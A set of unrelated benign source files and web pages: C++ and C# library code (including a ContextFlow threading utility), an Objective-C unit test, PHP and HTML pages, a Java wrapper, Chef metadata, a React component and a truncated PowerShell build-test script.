text:
namespace bubblefs {
namespace mytoft {

class HttpHandler;

class HttpServer {
    DECLARE_UNCOPYABLE(HttpServer);

public:
    HttpServer();
    virtual ~HttpServer();
    bool RegisterHttpHandler(const std::string& path, HttpHandler* handler);
    bool Bind(const SocketAddress& address, SocketAddress* real_address = NULL);
    bool Start();
    void Close();
    void Run();

private:
    struct Impl;
    scoped_ptr<Impl> m_impl;
};

} // namespace mytoft
} // namespace bubblefs

#endif // BUBBLEFS_UTILS_TOFT_HTTP_SERVER_SERVER_H_


text:
#region COPYRIGHT© 2009-2014 Phillip Clark. All rights reserved.

// For licensing information see License.txt (MIT style licensing).

#endregion

using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.Remoting.Messaging;
using System.Text;
using FlitBit.Core.Log;

namespace FlitBit.Core.Parallel
{
  ///
  ///   Utility class for managing context flow.
  ///
  public sealed class ContextFlow : Disposable
  {
    static readonly ILogSink LogSink = typeof(ContextFlow).GetLogSink();

    static EventHandler<UncaughtExceptionArgs> __onUncaughtException;

    ///
    ///   Event fired when uncaught exceptions are raised by parallel operations.
    ///
    public static event EventHandler<UncaughtExceptionArgs> OnUncaughtException
    {
      add { __onUncaughtException += value; }
      remove
      {
        if (__onUncaughtException != null)
        {
          // ReSharper disable once DelegateSubtraction
          __onUncaughtException -= value;
        }
      }
    }

    ///
    ///   Notifies event handlers that an exception has occurred in a paralle operation.
    ///
    /// <param name="sender">the sender</param>
    /// <param name="e">the exception that was raised.</param>
    public static void NotifyUncaughtException(object sender, Exception e)
    {
      LogSink.Error(String.Concat("An uncaught exception occurred in a background thread.", e.FormatForLogging()));
      if (__onUncaughtException != null)
      {
        __onUncaughtException(sender, new UncaughtExceptionArgs(e));
      }
    }

    ///
    ///   Creates an action that restores the ambient context around the specified task.
    ///
    /// <param name="task"></param>
    /// <returns></returns>
    public static Action Capture(Action task)
    {
      var ctx = ForkAmbient();
      return () =>
      {
        using (var inner = EnsureAmbient(ctx))
        {
          try
          {
            task();
          }
          catch (Exception e)
          {
            inner.AmbientException = e;
            NotifyUncaughtException(task.Target, e);
            throw;
          }
        }
      };
    }

    ///
    /// An uncaught exception observed by the context.
    ///
    public Exception AmbientException { get; private set; }

    ///
    ///   Creates an action that restores the ambient context around the specified task.
    ///
    /// <param name="task"></param>
    /// <returns></returns>
    public static Action<TArg> Capture<TArg>(Action<TArg> task)
    {
      var ctx = ForkAmbient();
      return a =>
      {
        using (var inner = EnsureAmbient(ctx))
        {
          try
          {
            task(a);
          }
          catch (Exception e)
          {
            inner.AmbientException = e;
            NotifyUncaughtException(task.Target, e);
            throw;
          }
        }
      };
    }

    ///
    ///   Creates an action that restores the ambient context around the specified task.
    ///
    /// <param name="task"></param>
    /// <returns></returns>
    public static Action<TArg, TArg1> Capture<TArg, TArg1>(
      Action<TArg, TArg1> task)
    {
      var ctx = ForkAmbient();
      return (a, a1) =>
      {
        using (var inner = EnsureAmbient(ctx))
        {
          try
          {
            task(a, a1);
          }
          catch (Exception e)
          {
            inner.AmbientException = e;
            NotifyUncaughtException(task.Target, e);
            throw;
          }
        }
      };
    }

    ///
    ///   Creates an action that restores the ambient context around the specified task.
    ///
    /// <param name="task"></param>
    /// <returns></returns>
    public static Action<TArg, TArg1, TArg2> Capture<TArg, TArg1, TArg2>(
      Action<TArg, TArg1, TArg2> task)
    {
      var ctx = ForkAmbient();
      return (a, a1, a2) =>
      {
        using (var inner = EnsureAmbient(ctx))
        {
          try
          {
            task(a, a1, a2);
          }
          catch (Exception e)
          {
            inner.AmbientException = e;
            NotifyUncaughtException(task.Target, e);
            throw;
          }
        }
      };
    }

    ///
    ///   Creates an action that restores the ambient context around the specified task.
    ///
    /// <param name="task"></param>
    /// <returns></returns>
    public static Action<TArg, TArg1, TArg2, TArg3> Capture<TArg, TArg1, TArg2, TArg3>(
      Action<TArg, TArg1, TArg2, TArg3> task)
    {
      var ctx = ForkAmbient();
      return (a, a1, a2, a3) =>
      {
        using (var inner = EnsureAmbient(ctx))
        {
          try
          {
            task(a, a1, a2, a3);
          }
          catch (Exception e)
          {
            inner.AmbientException = e;
            NotifyUncaughtException(task.Target, e);
            throw;
          }
        }
      };
    }

    ///
    ///   Creates an action that restores the ambient context around the specified task.
    ///
    /// <param name="task"></param>
    /// <returns></returns>
    public static Action<TArg, TArg1, TArg2, TArg3, TArg4> Capture<TArg, TArg1, TArg2, TArg3, TArg4>(
      Action<TArg, TArg1, TArg2, TArg3, TArg4> task)
    {
      var ctx = ForkAmbient();
      return (a, a1, a2, a3, a4) =>
      {
        using (var inner = EnsureAmbient(ctx))
        {
          try
          {
            task(a, a1, a2, a3, a4);
          }
          catch (Exception e)
          {
            inner.AmbientException = e;
            NotifyUncaughtException(task.Target, e);
            throw;
          }
        }
      };
    }

    ///
    ///   Creates an action that restores the ambient context around the specified task.
    ///
    /// <param name="task"></param>
    /// <returns></returns>
    public static Action<TArg, TArg1, TArg2, TArg3, TArg4, TArg5> Capture<TArg, TArg1, TArg2, TArg3, TArg4, TArg5>(
      Action<TArg, TArg1, TArg2, TArg3, TArg4, TArg5> task)
    {
      var ctx = ForkAmbient();
      return (a, a1, a2, a3, a4, a5) =>
      {
        using (var inner = EnsureAmbient(ctx))
        {
          try
          {
            task(a, a1, a2, a3, a4, a5);
          }
          catch (Exception e)
          {
            inner.AmbientException = e;
            NotifyUncaughtException(task.Target, e);
            throw;
          }
        }
      };
    }

    ///
    ///   Creates an action that restores the ambient context around the specified task.
    ///
    /// <param name="task"></param>
    /// <returns></returns>
    public static Action<TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TArg6> Capture
      <TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TArg6>(
      Action<TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TArg6> task)
    {
      var ctx = ForkAmbient();
      return (a, a1, a2, a3, a4, a5, a6) =>
      {
        using (var inner = EnsureAmbient(ctx))
        {
          try
          {
            task(a, a1, a2, a3, a4, a5, a6);
          }
          catch (Exception e)
          {
            inner.AmbientException = e;
            NotifyUncaughtException(task.Target, e);
            throw;
          }
        }
      };
    }

    ///
    ///   Creates an action that restores the ambient context around the specified task.
    ///
    /// <param name="task"></param>
    /// <returns></returns>
    public static Action<TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TArg6, TArg7> Capture
      <TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TArg6, TArg7>(
      Action<TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TArg6, TArg7> task)
    {
      var ctx = ForkAmbient();
      return (a, a1, a2, a3, a4, a5, a6, a7) =>
      {
        using (var inner = EnsureAmbient(ctx))
        {
          try
          {
            task(a, a1, a2, a3, a4, a5, a6, a7);
          }
          catch (Exception e)
          {
            inner.AmbientException = e;
            NotifyUncaughtException(task.Target, e);
            throw;
          }
        }
      };
    }

    ///
    ///   Creates an action that restores the ambient context around the specified task.
    ///
    /// <param name="task"></param>
    /// <returns></returns>
    public static Action<TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TArg6, TArg7, TArg8> Capture
      <TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TArg6, TArg7, TArg8>(
      Action<TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TArg6, TArg7, TArg8> task)
    {
      var ctx = ForkAmbient();
      return (a, a1, a2, a3, a4, a5, a6, a7, a8) =>
      {
        using (var inner = EnsureAmbient(ctx))
        {
          try
          {
            task(a, a1, a2, a3, a4, a5, a6, a7, a8);
          }
          catch (Exception e)
          {
            inner.AmbientException = e;
            NotifyUncaughtException(task.Target, e);
            throw;
          }
        }
      };
    }

    ///
    ///   Creates an action that restores the ambient context around the specified task.
    ///
    /// <param name="task"></param>
    /// <returns></returns>
    public static Action<TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TArg6, TArg7, TArg8, TArg9> Capture
      <TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TArg6, TArg7, TArg8, TArg9>(
      Action<TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TArg6, TArg7, TArg8, TArg9> task)
    {
      var ctx = ForkAmbient();
      return (a, a1, a2, a3, a4, a5, a6, a7, a8, a9) =>
      {
        using (var inner = EnsureAmbient(ctx))
        {
          try
          {
            task(a, a1, a2, a3, a4, a5, a6, a7, a8, a9);
          }
          catch (Exception e)
          {
            inner.AmbientException = e;
            NotifyUncaughtException(task.Target, e);
            throw;
          }
        }
      };
    }

    ///
    ///   Creates an action that restores the ambient context around the specified task.
    ///
    /// <param name="task"></param>
    /// <returns></returns>
    public static Func<TResult> Capture<TResult>(
      Func<TResult> task)
    {
      var ctx = ForkAmbient();
      return () =>
      {
        using (var inner = EnsureAmbient(ctx))
        {
          try
          {
            return task();
          }
          catch (Exception e)
          {
            inner.AmbientException = e;
            NotifyUncaughtException(task.Target, e);
            throw;
          }
        }
      };
    }

    ///
    ///   Creates an action that restores the ambient context around the specified task.
    ///
    /// <param name="task"></param>
    /// <returns></returns>
    public static Func<TArg, TResult> Capture<TArg, TResult>(
      Func<TArg, TResult> task)
    {
      var ctx = ForkAmbient();
      return a =>
      {
        using (var inner = EnsureAmbient(ctx))
        {
          try
          {
            return task(a);
          }
          catch (Exception e)
          {
            inner.AmbientException = e;
            NotifyUncaughtException(task.Target, e);
            throw;
          }
        }

      };
    }

    ///
    ///   Creates an action that restores the ambient context around the specified task.
    ///
    /// <param name="task"></param>
    /// <returns></returns>
    public static Func<TArg, TArg1, TResult> Capture<TArg, TArg1, TResult>(
      Func<TArg, TArg1, TResult> task)
    {
      var ctx = ForkAmbient();
      return (a, a1) =>
      {
        using (var inner = EnsureAmbient(ctx))
        {
          try
          {
            return task(a, a1);
          }
          catch (Exception e)
          {
            inner.AmbientException = e;
            NotifyUncaughtException(task.Target, e);
            throw;
          }
        }

      };
    }

    ///
    ///   Creates an action that restores the ambient context around the specified task.
    ///
    /// <param name="task"></param>
    /// <returns></returns>
    public static Func<TArg, TArg1, TArg2, TResult> Capture<TArg, TArg1, TArg2, TResult>(
      Func<TArg, TArg1, TArg2, TResult> task)
    {
      var ctx = ForkAmbient();
      return (a, a1, a2) =>
      {
        using (var inner = EnsureAmbient(ctx))
        {
          try
          {
            return task(a, a1, a2);
          }
          catch (Exception e)
          {
            inner.AmbientException = e;
            NotifyUncaughtException(task.Target, e);
            throw;
          }
        }

      };
    }

    ///
    ///   Creates an action that restores the ambient context around the specified task.
    ///
    /// <param name="task"></param>
    /// <returns></returns>
    public static Func<TArg, TArg1, TArg2, TArg3, TResult> Capture<TArg, TArg1, TArg2, TArg3, TResult>(
      Func<TArg, TArg1, TArg2, TArg3, TResult> task)
    {
      var ctx = ForkAmbient();
      return (a, a1, a2, a3) =>
      {
        using (var inner = EnsureAmbient(ctx))
        {
          try
          {
            return task(a, a1, a2, a3);
          }
          catch (Exception e)
          {
            inner.AmbientException = e;
            NotifyUncaughtException(task.Target, e);
            throw;
          }
        }

      };
    }

    ///
    ///   Creates an action that restores the ambient context around the specified task.
    ///
    /// <param name="task"></param>
    /// <returns></returns>
    public static Func<TArg, TArg1, TArg2, TArg3, TArg4, TResult> Capture<TArg, TArg1, TArg2, TArg3, TArg4, TResult>(
      Func<TArg, TArg1, TArg2, TArg3, TArg4, TResult> task)
    {
      var ctx = ForkAmbient();
      return (a, a1, a2, a3, a4) =>
      {
        using (EnsureAmbient(ctx))
        {
          using (var inner = EnsureAmbient(ctx))
          {
            try
            {
              return task(a, a1, a2, a3, a4);
            }
            catch (Exception e)
            {
              inner.AmbientException = e;
              NotifyUncaughtException(task.Target, e);
              throw;
            }
          }
        }
      };
    }

    ///
    ///   Creates an action that restores the ambient context around the specified task.
    ///
    /// <param name="task"></param>
    /// <returns></returns>
    public static Func<TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TResult> Capture
      <TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TResult>(
      Func<TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TResult> task)
    {
      var ctx = ForkAmbient();
      return (a, a1, a2, a3, a4, a5) =>
      {
        using (var inner = EnsureAmbient(ctx))
        {
          try
          {
            return task(a, a1, a2, a3, a4, a5);
          }
          catch (Exception e)
          {
            inner.AmbientException = e;
            NotifyUncaughtException(task.Target, e);
            throw;
          }
        }
      };
    }

    ///
    ///   Creates an action that restores the ambient context around the specified task.
    ///
    /// <param name="task"></param>
    /// <returns></returns>
    public static Func<TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TArg6, TResult> Capture
      <TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TArg6, TResult>(
      Func<TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TArg6, TResult> task)
    {
      var ctx = ForkAmbient();
      return (a, a1, a2, a3, a4, a5, a6) =>
      {
        using (var inner = EnsureAmbient(ctx))
        {
          try
          {
            return task(a, a1, a2, a3, a4, a5, a6);
          }
          catch (Exception e)
          {
            inner.AmbientException = e;
            NotifyUncaughtException(task.Target, e);
            throw;
          }
        }
      };
    }

    ///
    ///   Creates an action that restores the ambient context around the specified task.
    ///
    /// <param name="task"></param>
    /// <returns></returns>
    public static Func<TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TArg6, TArg7, TResult> Capture
      <TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TArg6, TArg7, TResult>(
      Func<TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TArg6, TArg7, TResult> task)
    {
      var ctx = ForkAmbient();
      return (a, a1, a2, a3, a4, a5, a6, a7) =>
      {
        using (var inner = EnsureAmbient(ctx))
        {
          try
          {
            return task(a, a1, a2, a3, a4, a5, a6, a7);
          }
          catch (Exception e)
          {
            inner.AmbientException = e;
            NotifyUncaughtException(task.Target, e);
            throw;
          }
        }
      };
    }

    ///
    ///   Creates an action that restores the ambient context around the specified task.
    ///
    /// <param name="task"></param>
    /// <returns></returns>
    public static Func<TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TArg6, TArg7, TArg8, TResult> Capture
      <TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TArg6, TArg7, TArg8, TResult>(
      Func<TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TArg6, TArg7, TArg8, TResult> task)
    {
      var ctx = ForkAmbient();
      return (a, a1, a2, a3, a4, a5, a6, a7, a8) =>
      {
        using (var inner = EnsureAmbient(ctx))
        {
          try
          {
            return task(a, a1, a2, a3, a4, a5, a6, a7, a8);
          }
          catch (Exception e)
          {
            inner.AmbientException = e;
            NotifyUncaughtException(task.Target, e);
            throw;
          }
        }
      };
    }

    ///
    ///   Creates an action that restores the ambient context around the specified task.
    ///
    /// <param name="task"></param>
    /// <returns></returns>
    public static Func<TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TArg6, TArg7, TArg8, TArg9, TResult> Capture
      <TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TArg6, TArg7, TArg8, TArg9, TResult>(
      Func<TArg, TArg1, TArg2, TArg3, TArg4, TArg5, TArg6, TArg7, TArg8, TArg9, TResult> task)
    {
      var ctx = ForkAmbient();
      return (a, a1, a2, a3, a4, a5, a6, a7, a8, a9) =>
      {
        using (var inner = EnsureAmbient(ctx))
        {
          try
          {
            return task(a, a1, a2, a3, a4, a5, a6, a7, a8, a9);
          }
          catch (Exception e)
          {
            inner.AmbientException = e;
            NotifyUncaughtException(task.Target, e);
            throw;
          }
        }

      };
    }

    ContextFlow(bool independent)
    {
      if (!independent)
      {
        Ambient.Push(this);
      }
    }

    ///
    ///
    /// <param name="contexts"></param>
    public ContextFlow(List<Tuple<IContextFlowProvider, object>> contexts)
      : this(true)
    {
      this._contexts = contexts;
    }

    ///
    ///   Performs the disposal.
    ///
    /// <param name="disposing">indicates whether the context is disposing</param>
    /// <returns>
    ///   true if disposed as a result of the call; otherwise false
    /// </returns>
    protected override bool PerformDispose(bool disposing)
    {
      if (disposing && !Ambient.TryPop(this))
      {
        const string message = "Unchained context disposed!";
        try
        {
          var cstack = this.CreationStack;
          if (cstack != null)
          {
            var builder = new StringBuilder(2000);
            builder.Append(Environment.NewLine)
                   .Append(">> Creation stack... ");
            foreach (var frame in this.CreationStack)
            {
              var method = frame.GetMethod();
              builder.Append(Environment.NewLine)
                     .Append("\t >> ")
                     .Append(method.DeclaringType.GetReadableSimpleName())
                     .Append(".")
                     .Append(method.Name);
            }
            builder.Append(Environment.NewLine)
                   .Append(">> Disposal stack... ");
            var stackFrames = new StackTrace().GetFrames();
            if (stackFrames != null)
            {
              foreach (var frame in stackFrames)
              {
                var method = frame.GetMethod();
                builder.Append(Environment.NewLine)
                       .Append("\t >> ")
                       .Append(method.DeclaringType.GetReadableSimpleName())
                       .Append(".")
                       .Append(method.Name);
              }
            }
            LogSink.Information(() =>
                                String.Concat(message, builder));
          }
          else
          {
            LogSink.Information(message);
          }
        }
// ReSharper disable once EmptyGeneralCatchClause
        catch
        {
          /* purposely eating exceptions in finalizer */
        }
      }
      if (disposing)
      {
        foreach (var tpl in _attachments)
        {
          tpl.Item1.Detach(this, tpl.Item2, AmbientException);
        }
      }
      return true;
    }

    ///
    ///   Attaches the given context to the current thread.
    ///
    /// <param name="ambient">a new ambient context</param>
    /// <returns>the provided context</returns>
    public static ContextFlow EnsureAmbient(ContextFlow ambient)
    {
      if (ambient != null)
      {
        Ambient.Attach(ambient);
        return ambient;
      }
      return null;
    }

    void Attach()
    {
      var attachements = this._contexts.Select(tpl => Tuple.Create(tpl.Item1, tpl.Item1.Attach(this, tpl.Item2))).ToList();
      _attachments = attachements;
    }

    ///
    ///   Prepares a copy of the context for use in thread-pool and background threads.
    ///
    /// <returns>an instance suitable for use as a background thread's ambient context</returns>
    public static ContextFlow ForkAmbient()
    {
      var contexts =
        (from provider in Providers let key = provider.Capture() where key != null select Tuple.Create(provider, key))
          .ToList();
      return new ContextFlow(contexts);
    }

    internal static class Ambient
    {
      const string CallContextKey = "FlitBitAmbientContextFlowKey";

      internal static ContextFlow Push(ContextFlow ambient)
      {
        var stack = (Stack<ContextFlow>) CallContext.LogicalGetData(CallContextKey);
        if (stack == null)
        {
          CallContext.LogicalSetData(CallContextKey, stack = new Stack<ContextFlow>());
        }
        stack.Push(ambient);
        return ambient;
      }

      internal static bool TryPeek(out ContextFlow ambient)
      {
        var stack = (Stack<ContextFlow>)CallContext.LogicalGetData(CallContextKey);
        if (stack != null
            && stack.Count > 0)
        {
          ambient = stack.Peek();
          return true;
        }
        ambient = default(ContextFlow);
        return false;
      }

      internal static bool TryPop(ContextFlow comparand)
      {
        var stack = (Stack<ContextFlow>)CallContext.LogicalGetData(CallContextKey);
        if (comparand != null
            && stack != null
            && stack.Count > 0)
        {
          var ambient = stack.Peek();
          if (ReferenceEquals(ambient, comparand))
          {
            stack.Pop();
            return true;
          }
        }
        return false;
      }

      internal static ContextFlow Attach(ContextFlow ambient)
      {
        var stack = (Stack<ContextFlow>)CallContext.LogicalGetData(CallContextKey);
        if (stack == null)
        {
          stack = new Stack<ContextFlow>();
          CallContext.LogicalSetData(CallContextKey, stack);
        }
        if (stack.Count > 0)
        {
          throw new InvalidOperationException(
            "ContextFlow detected a context being attached over the top of an existing context");
        }
        ambient.Attach();
        stack.Push(ambient);
        return ambient;
      }
    }

    ///
    ///   Gets the current context flow if one exists.
    ///
    public static ContextFlow Current
    {
      get
      {
        ContextFlow res;
        Ambient.TryPeek(out res);
        return res;
      }
    }

    static readonly ConcurrentBag<IContextFlowProvider> Providers = new ConcurrentBag<IContextFlowProvider>();
    readonly List<Tuple<IContextFlowProvider, object>> _contexts;
    List<Tuple<IContextFlowProvider, object>> _attachments;

    ///
    ///   Registers a context flow provider.
    ///
    /// <param name="provider">the provider</param>
    public static void RegisterProvider(IContextFlowProvider provider)
    {
      Providers.Add(provider);
    }
  }
}

redpajama_set_name: RedPajamaGithub


text:
@implementation ERNMapViewMicroControllerTest {
}

#pragma mark - class tests

-(void)testConstructorNilDelegateNilSuperView
{
    ERNMapViewMicroController *microController =
    [ERNMapViewMicroController createWithMapViewDelegate:nil
                                               superView:nil];
    assertThat(microController, notNilValue());
    assertThat([microController mapView], notNilValue());
    assertThat([[microController mapView] delegate], notNilValue());
}

-(void)testConstructorDelegateNilSuperView
{
    id mockDelegate = [OCMockObject mockForProtocol:@protocol(MKMapViewDelegate)];
    ERNMapViewMicroController *microController =
    [ERNMapViewMicroController createWithMapViewDelegate:mockDelegate
                                               superView:nil];
    assertThat(microController, notNilValue());
    assertThat([microController mapView], notNilValue());
    assertThat([[microController mapView] delegate], equalTo(mockDelegate));
}

-(void)testConstructorNilDelegateSuperView
{
    id mockView = [OCMockObject mockForClass:[UIView class]];
    [[mockView stub] bounds];
    [[mockView expect] addSubview:OCMOCK_ANY];
    ERNMapViewMicroController *microController =
    [ERNMapViewMicroController createWithMapViewDelegate:nil
                                               superView:mockView];
    assertThat(microController, notNilValue());
    assertThat([microController mapView], notNilValue());
    assertThat([[microController mapView] delegate], notNilValue());
}

-(void)testConstructorDelegateSuperView
{
    id mockDelegate = [OCMockObject niceMockForProtocol:@protocol(MKMapViewDelegate)];
    id mockView = [OCMockObject mockForClass:[UIView class]];
    [[mockView stub] bounds];
    [[mockView expect] addSubview:OCMOCK_ANY];
    ERNMapViewMicroController *microController =
    [ERNMapViewMicroController createWithMapViewDelegate:mockDelegate
                                               superView:mockView];
    assertThat(microController, notNilValue());
    assertThat([microController mapView], notNilValue());
    assertThat([[microController mapView] delegate], equalTo(mockDelegate));
}

@end


text:
<!doctype html>

		<title>Zabuun - Learn Egyptian Arabic for English speakers</title>
		<meta name="description" content="">
		<?php include $_SERVER['DOCUMENT_ROOT'].'/layout/head.php';?>

		<?php include $_SERVER['DOCUMENT_ROOT'].'/layout/ie8.php';?>
		<?php include $_SERVER['DOCUMENT_ROOT'].'/layout/header.php';?>

			<?php include $_SERVER['DOCUMENT_ROOT'].'/layout/side.php';?>

Essays > Honoring G.W. Bush

						Expand All | Collapse All

Honoring G.W. Bush

 Several companies are eager to work with Maher's group. He said that the public will soon see Bush's face on dartboards, Welcome mats, and the bottom of trash cans and kitty litter boxes. One company is putting his face on their fly swatters. "Bush ruined this country," said Maher, "so we want to ruin his image. Unfortunately, the man is such a dope that when he sees his face on a yellow plastic fly swatter, he'll probably feel flattered."

		<?php include $_SERVER['DOCUMENT_ROOT'].'/layout/footer.php';?>
		<?php include $_SERVER['DOCUMENT_ROOT'].'/layout/scripts.php';?>


text:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
    <title>Your address is already subscribed</title>

Your address is already subscribed

« Back


text:
package com.bullhornsdk.data.model.response.list;

import com.bullhornsdk.data.model.entity.file.CertificationFileAttachment;
import com.fasterxml.jackson.annotation.JsonInclude;
import com.fasterxml.jackson.annotation.JsonPropertyOrder;

/**
 * Created by mkesmetzis 01-Apr-20
 */

@JsonInclude(JsonInclude.Include.NON_NULL)
@JsonPropertyOrder({"data", "count", "start"})
public class CertificationFileAttachmentListWrapper extends StandardListWrapper<CertificationFileAttachment> {
}


text:
namespace blink {

DEFINE_TRACE(ConsoleMemory)
{
    visitor->trace(m_memory);
    HeapSupplement<Console>::trace(visitor);
}

// static
ConsoleMemory& ConsoleMemory::from(Console& console)
{
    ConsoleMemory* supplement = static_cast<ConsoleMemory*>(HeapSupplement<Console>::from(console, supplementName()));
    if (!supplement) {
        supplement = new ConsoleMemory();
        provideTo(console, supplementName(), supplement);
    }
    return *supplement;
}

// static
MemoryInfo* ConsoleMemory::memory(Console& console)
{
    return ConsoleMemory::from(console).memory();
}

MemoryInfo* ConsoleMemory::memory()
{
    if (!m_memory)
        m_memory = MemoryInfo::create();

    return m_memory.get();
}

} // namespace blink


text:
//------------------------------------------------------------------------------
// <auto-generated>
//     This code was generated by a tool.
//     Runtime Version:4.0.30319.34209
//
//     Changes to this file may cause incorrect behavior and will be lost if
//     the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------

namespace Google.Api.Ads.Dfp {
    using System;

    /// <summary>
    ///   A strongly-typed resource class, for looking up localized strings, etc.
    /// </summary>
    // This class was auto-generated by the StronglyTypedResourceBuilder
    // class via a tool like ResGen or Visual Studio.
    // To add or remove a member, edit your .ResX file then rerun ResGen
    // with the /str option, or rebuild your VS project.
    [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
    [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
    internal class DfpErrorMessages {

        private static global::System.Resources.ResourceManager resourceMan;

        private static global::System.Globalization.CultureInfo resourceCulture;

        [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
        internal DfpErrorMessages() {
        }

        /// <summary>
        ///   Returns the cached ResourceManager instance used by this class.
        /// </summary>
        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
        internal static global::System.Resources.ResourceManager ResourceManager {
            get {
                if (object.ReferenceEquals(resourceMan, null)) {
                    global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Google.Api.Ads.Dfp.DfpErrorMessages", typeof(DfpErrorMessages).Assembly);
                    resourceMan = temp;
                }
                return resourceMan;
            }
        }

        /// <summary>
        ///   Overrides the current thread's CurrentUICulture property for all
        ///   resource lookups using this strongly typed resource class.
        /// </summary>
        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
        internal static global::System.Globalization.CultureInfo Culture {
            get {
                return resourceCulture;
            }
            set {
                resourceCulture = value;
            }
        }

        /// <summary>
        ///   Looks up a localized string similar to The complete query is already set. Partial query building is not allowed..
        /// </summary>
        internal static string CompleteQuerySet {
            get {
                return ResourceManager.GetString("CompleteQuerySet", resourceCulture);
            }
        }

        /// <summary>
        ///   Looks up a localized string similar to Could not set AuthToken or OAuthHeader for outgoing API call. Please check if service.RequestHeader is not null..
        /// </summary>
        internal static string FailedToSetAuthorizationHeader {
            get {
                return ResourceManager.GetString("FailedToSetAuthorizationHeader", resourceCulture);
            }
        }

        /// <summary>
        ///   Looks up a localized string similar to OFFSET cannot be set if LIMIT is not set..
        /// </summary>
        internal static string InvalidOffsetAndLimit {
            get {
                return ResourceManager.GetString("InvalidOffsetAndLimit", resourceCulture);
            }
        }

        /// <summary>
        ///   Looks up a localized string similar to OAuth provider cannot be null when selecting Authorization method as "OAuth"..
        /// </summary>
        internal static string OAuthProviderCannotBeNull {
            get {
                return ResourceManager.GetString("OAuthProviderCannotBeNull", resourceCulture);
            }
        }

        /// <summary>
        ///   Looks up a localized string similar to A partial query is already set. Access to the complete query is restricted..
        /// </summary>
        internal static string PartialQuerySet {
            get {
                return ResourceManager.GetString("PartialQuerySet", resourceCulture);
            }
        }

        /// <summary>
        ///   Looks up a localized string similar to A valid application name was not found in the request header. Please provide a valid application name by modifying the ApplicationName setting in your application's App.config / Web.config or DfpAppConfig instance..
        /// </summary>
        internal static string RequireValidApplicationName {
            get {
                return ResourceManager.GetString("RequireValidApplicationName", resourceCulture);
            }
        }

        /// <summary>
        ///   Looks up a localized string similar to Signature should be a {0} instance..
        /// </summary>
        internal static string SignatureIsOfWrongType {
            get {
                return ResourceManager.GetString("SignatureIsOfWrongType", resourceCulture);
            }
        }

        /// <summary>
        ///   Looks up a localized string similar to Authentication method is missing or not supported in this version..
        /// </summary>
        internal static string UnsupportedAuthorizationMethod {
            get {
                return ResourceManager.GetString("UnsupportedAuthorizationMethod", resourceCulture);
            }
        }
    }
}


text:
name              'ubuntu'
maintainer        'Chef Software, Inc.'
maintainer_email  'cookbooks@chef.io'
license           'Apache 2.0'
description       'Sets up apt sources for Ubuntu Linux'
version           '1.1.8'
depends           'apt'
supports          'ubuntu'
recipe            'ubuntu', 'Sets up sources for the nodes Ubuntu release'


text:
import { FC } from 'react'
import { useLocation, useNavigate } from 'react-router-dom'

import CloudDownloadIcon from '@mui/icons-material/CloudDownload'
import IconButton from '@mui/material/IconButton'
import Link from '@mui/material/Link'
import ListItem from '@mui/material/ListItem'
import ListItemIcon from '@mui/material/ListItemIcon'
import ListItemButton from '@mui/material/ListItemButton'
import ListItemText from '@mui/material/ListItemText'
import PictureAsPdfIcon from '@mui/icons-material/PictureAsPdf'

export interface DownloadListItemProps {
  filePath: string
  route: string
  text: string
}

const DownloadListItem: FC<DownloadListItemProps> = ({ filePath, route, text }: DownloadListItemProps) => {
  const location = useLocation()
  const navigate = useNavigate()

  return (
    <ListItem
      disablePadding
      secondaryAction={(
        <Link href={filePath} download>
          <IconButton edge="end" aria-label="download">
            <CloudDownloadIcon />
          </IconButton>
        </Link>
      )}
      sx={{ paddingLeft: 4 }}
    >
      <ListItemButton selected={location.pathname === route} onClick={() => navigate(route)}>
        <ListItemIcon>
          <PictureAsPdfIcon />
        </ListItemIcon>
        <ListItemText primary={text} />
      </ListItemButton>
    </ListItem>
  )
}

export default DownloadListItem


text:
<#
    .SYNOPSIS
        Invoke-Gherkin against a specific version in output
#>
[CmdletBinding()]
param(
    # A specific folder the build is in
    $OutputDirectory = $PSScriptRoot,

    $Module = 'PowerLine',

    # The version of the output module
    [Alias("ModuleVersion")]
    [string]$SemVer
)
Push-Location $PSScriptRoot -StackName BuildTestStack

if (!$SemVer -and (Get-Command gitversion -ErrorAction Ignore)) {
    $SemVer = gitversion -showvariable nugetversion
}

Write-Host "OutputDirectory: $OutputDirectory"
Write-Host "SemVer: $SemVer"

try {
    if (Test-Path $OutputDirectory) {
